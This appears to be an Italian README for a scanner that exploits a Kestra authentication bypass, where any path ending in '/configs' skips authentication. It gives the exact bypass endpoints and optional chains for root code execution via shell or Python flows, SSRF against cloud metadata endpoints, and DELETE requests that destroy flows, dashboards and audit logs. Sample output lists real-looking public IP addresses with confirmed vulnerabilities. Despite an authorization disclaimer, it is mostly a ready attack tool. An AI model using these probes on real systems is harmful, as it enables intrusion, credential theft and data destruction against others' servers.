
Kestra Verificatore di Vulnerabilità di Bypass dell'Autenticazione
Esegue la scansione delle istanze Kestra per il bypass del filtro di autenticazione endsWith("/configs"). Il file AuthenticationFilter.java di Kestra controlla request.getPath().endsWith("/configs") invece di confrontare il percorso esatto /api/v1/configs. Poiché Kestra indirizza le risorse tramite segmenti di percorso scelti dal chiamante (namespace, flow ID), qualsiasi percorso che termina con /configs bypassa l'autenticazione Basic-Auth, consentendo la creazione non autenticata di flow e RCE. (CVSS 10.0)
Riferimenti:
GET /api/v1/configs (deve restituire 200; il corpo della risposta viene analizzato per ottenere la versione di Kestra)GET /api/v1/{tenant}/flows (dovrebbe restituire 401/403 se l'autenticazione è applicata)/configs; se qualcuno restituisce un codice diverso da 401/403 mentre il controllo di autenticazione è applicato, l'istanza è vulnerabile--aggressive) invia anche richieste PUT per confermare la capacità di bypass in scrittura--rce) catena completa: crea flow shell/python → attiva esecuzione → recupera log → conferma esecuzione codice → pulizia--ssrf) crea un flow con http() di Pebble che ha come target i metadata cloud AWS/GCP/Azure e gli endpoint interni, quindi controlla i log per evidenze--destructive) invia DELETE a percorsi di bypass di flow, dashboard e log per confermare il bypass di operazioni distruttive--aggressive)| Probe | Method | Path | Descrizione |
|---|---|---|---|
| Flows PUT Bypass | PUT | stesso di Flows Bypass |
--destructive)--rce)Viene eseguita solo quando il bypass di autenticazione è confermato. La catena completa dall'avviso:
--ssrf)Viene eseguita solo quando il bypass di autenticazione è confermato:
positional:
target URL target singolo (es. http://localhost:8080)
options:
-f, --file File con target (uno per riga)
-t, --timeout Timeout richiesta in secondi (default: 10)
--verify-ssl Verifica certificati TLS
-j, --json Output JSON su stdout
-o, --output Scrivi report JSON su file
--tenant Nome tenant (default: "main")
--namespace Namespace per percorsi di bypass (default: "tutorial")
-w, --workers Numero di thread per scansioni bulk (default: 10)
-a, --aggressive Invia richieste PUT per confermare bypass scrittura
-P, --auto-ports Porte per auto-espansione (default: 8080 8081 8088 8091 80 443)
advanced probes:
-r, --rce Abilita catena di verifica RCE (flow shell + python,
attivazione esecuzione, recupero log, pulizia automatica)
-s, --ssrf Abilita rilevamento SSRF (Pebble http() verso endpoint
metadata cloud, raccolta evidenze basate su log)
-d, --destructive Abilita sondaggi DELETE su flow, dashboard e log
(ELIMINERÀ risorse su istanze vulnerabili)
--poll-interval Secondi tra i polling dei log per catene RCE/SSRF (default: 3)
--poll-retries Numero massimo di tentativi di polling log per catene RCE/SSRF (default: 10)
Ripartizione completa per singolo sondaggio con arricchimento (versione, stato RCE, SSRF, DELETE) e verdetto:
====================================================================
Target: http://10.0.0.1:8080
Timestamp: 2026-06-30T12:00:00+00:00
====================================================================
Versione: 1.3.20 (AFFETTA)
RCE: CONFERMATO tramite shell
| SCAN_RCE_a1b2c3d4e5f6
| uid=0(root) gid=0(root) groups=0(root)
SSRF: RILEVATO
| Indicatori trovati: ami-, 169.254.169.254, 127.0.0.1:8080
DELETE BYPASS: CONFERMATO ops distruttive bypassano autenticazione
[Flows Bypass]
URL: http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
Stato: 200
Bypass: SÌ
[Exec Bypass]
URL: http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
Stato: 404
Bypass: No
...
── Catena di Verifica RCE ──
Creazione Flow: 201
Attivazione Esecuzione: 201
Evidenza nei Log: 200
> SCAN_RCE_a1b2c3d4e5f6
> uid=0(root) gid=0(root) groups=0(root)
Pulizia Flow: 204
── Catena di Rilevamento SSRF ──
Creazione Flow: 201
Attivazione Esecuzione: 201
Evidenze: 200
Indicatori trovati: ami-, 169.254.169.254, 127.0.0.1:8080
Pulizia Flow: 204
[VULN] Verdetto: VULNERABILE ...
====================================================================
Tabella colonnare ordinata con flag RCE/SSRF/DEL:
========================================================================================================================================
RIEPILOGO SCANSIONE BULK GHSA-5vc5-wxxq-3fjx | CVE-2026-49869 / CVE-2026-53576
========================================================================================================================================
# Target Auth Flows Exec KV Dash Logs Tmpl RCE SSRF DEL Ver
---------------------------------------------------------------------------------------------------------------------------------------
1 http://173.249.1.26:8080 401 404 ERR ERR ERR 405 404 SÌ SÌ SÌ RCE!
2 http://207.180.207.199:8080 401 404 ERR ERR ERR 405 404 INC - SÌ VULN
...
30 http://103.115.65.228:8080 401 401 ERR 401 ERR 401 401 - - - SAFE
...
========================================================================================================================================
Totale: 258 | Vulnerabili: 5 | RCE Confermati: 1 | SSRF Rilevati: 1 | DEL Bypass: 2 | Sicuri: 29 | Inconcludenti: 224
========================================================================================================================================
Codici di uscita: 0 = nessuna vulnerabilità, 1 = vulnerabilità trovata, 2 = tutto inconcludente.
Quando si utilizza -j o -o, l'output include campi di arricchimento per target:
{
"scan_info": {
"scanner": "kestra_cve v2.0.0",
"cve": ["CVE-2026-49869", "CVE-2026-53576"],
"aggressive": true,
"rce": true,
"ssrf": true,
"destructive": true
},
"results": [
{
"target": "http://10.0.0.1:8080",
"vulnerable": true,
"version": "1.3.20",
"version_in_affected_range": true,
"rce_confirmed": true,
"rce_method": "shell",
"rce_evidence": "SCAN_RCE_a1b2c3d4e5f6\nuid=0(root)",
"ssrf_detected": true,
"ssrf_evidence": "Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080",
"delete_bypass": true,
"probes": { "..." : "..." }
}
],
"summary": {
"total": 258,
"vulnerable": 5,
"rce_confirmed": 1,
"ssrf_detected": 1,
"delete_bypass": 2,
"safe": 29,
"inconclusive": 224
}
}
Lo scanner estrae automaticamente la versione di Kestra dalla risposta GET /api/v1/configs e la classifica:
Utilizza il confronto sensibile al ramo poiché Kestra mantiene rami di patch separati (1.0.x e 1.3.x).
Richiede Python 3.10+.
pip install -r requirements.txt
python main.py --help
Solo per test difensivi autorizzati. I flag --rce e --destructive creano ed eseguono risorse reali sul target. Ottenere sempre la dovuta autorizzazione scritta prima di scansionare sistemi che non si possiedono.
| Probe | Method | Path | Descrizione |
|---|
| Public Configs | GET | /api/v1/configs | Verifica di attività + estrazione versione |
| Protected Normal | GET | /api/v1/{tenant}/flows | Baseline di applicazione autenticazione |
| Flows Bypass | GET | /api/v1/{tenant}/flows/{namespace}/configs | Bypass elenco flow |
| Executions Bypass | GET | /api/v1/{tenant}/executions/{namespace}/configs | Bypass esecuzioni |
| KV Store Bypass | GET | /api/v1/{tenant}/namespaces/{namespace}/kv/configs | Bypass lettura KV |
| Dashboards Bypass | GET | /api/v1/{tenant}/dashboards/configs | Bypass dashboard |
| Logs Bypass | GET | /api/v1/{tenant}/logs/{namespace}/configs | Bypass accesso log |
| Templates Bypass | GET | /api/v1/{tenant}/templates/{namespace}/configs | Bypass lettura template |
Crea un flow debug.Return minimale |
| KV PUT Bypass | PUT | stesso di KV Bypass | Crea una voce KV {"scanned": true} |
| Probe | Method | Path | Descrizione |
|---|
| Flows DELETE Bypass | DELETE | stesso di Flows Bypass | Elimina una risorsa denominata "configs" |
| Dashboards DELETE Bypass | DELETE | stesso di Dashboards Bypass | Elimina una dashboard denominata "configs" |
| Logs DELETE Bypass | DELETE | stesso di Logs Bypass | Distrugge i log di audit |
| Step | Method | Path | Descrizione |
|---|
| 1. Crea flow RCE | PUT | /api/v1/{tenant}/flows/{namespace}/configs | Distribuisce flow con io.kestra.plugin.scripts.shell.Commands (echo <marker>, id, hostname). Ripiega su io.kestra.plugin.scripts.python.Script in caso di fallimento. |
| 2. Attiva esecuzione | POST | /api/v1/{tenant}/executions/{namespace}/configs | Avvia il flow tramite il percorso di bypass |
| 3. Recupera log | GET | /api/v1/{tenant}/logs/search?executionId=<id> | Esegue polling fino a --poll-retries volte (default 10) ogni --poll-interval secondi (default 3) cercando il marker RCE univoco |
| 4. Pulizia | DELETE | stesso dello step 1 | Rimuove il flow distribuito |
| Step | Method | Path | Descrizione |
|---|
| 1. Crea flow SSRF | PUT | /api/v1/{tenant}/flows/{namespace}/configs | Distribuisce un task debug.Return con chiamate Pebble http() verso AWS (169.254.169.254/latest/meta-data/ami-id), GCP (metadata.google.internal), Azure (169.254.169.254/metadata/instance) e interno (127.0.0.1:8080/api/v1/configs) |
| 2. Attiva esecuzione | POST | stesso dello step 2 RCE | Attiva il flow |
| 3. Recupera log | GET | /api/v1/{tenant}/logs/search?executionId=<id> | Controlla la presenza di indicatori di metadata cloud (ami-, i-, 169.254.169.254, metadata.google.internal, ecc.) |
| 4. Pulizia | DELETE | stesso dello step 1 | Rimuove il flow distribuito |
| Versione | Classificazione |
|---|
<= 1.0.44 | AFFETTA (ramo 1.0, prima della patch) |
>= 1.0.45 | Patch applicata (ramo 1.0) |
1.3.0 1.3.20 | AFFETTA (ramo 1.3, prima della patch) |
>= 1.3.21 | Patch applicata (ramo 1.3) |
>= 1.4.0 | Patch applicata (più recente dell'intervallo affetto) |
| Unknown | Versione non trovata nella risposta |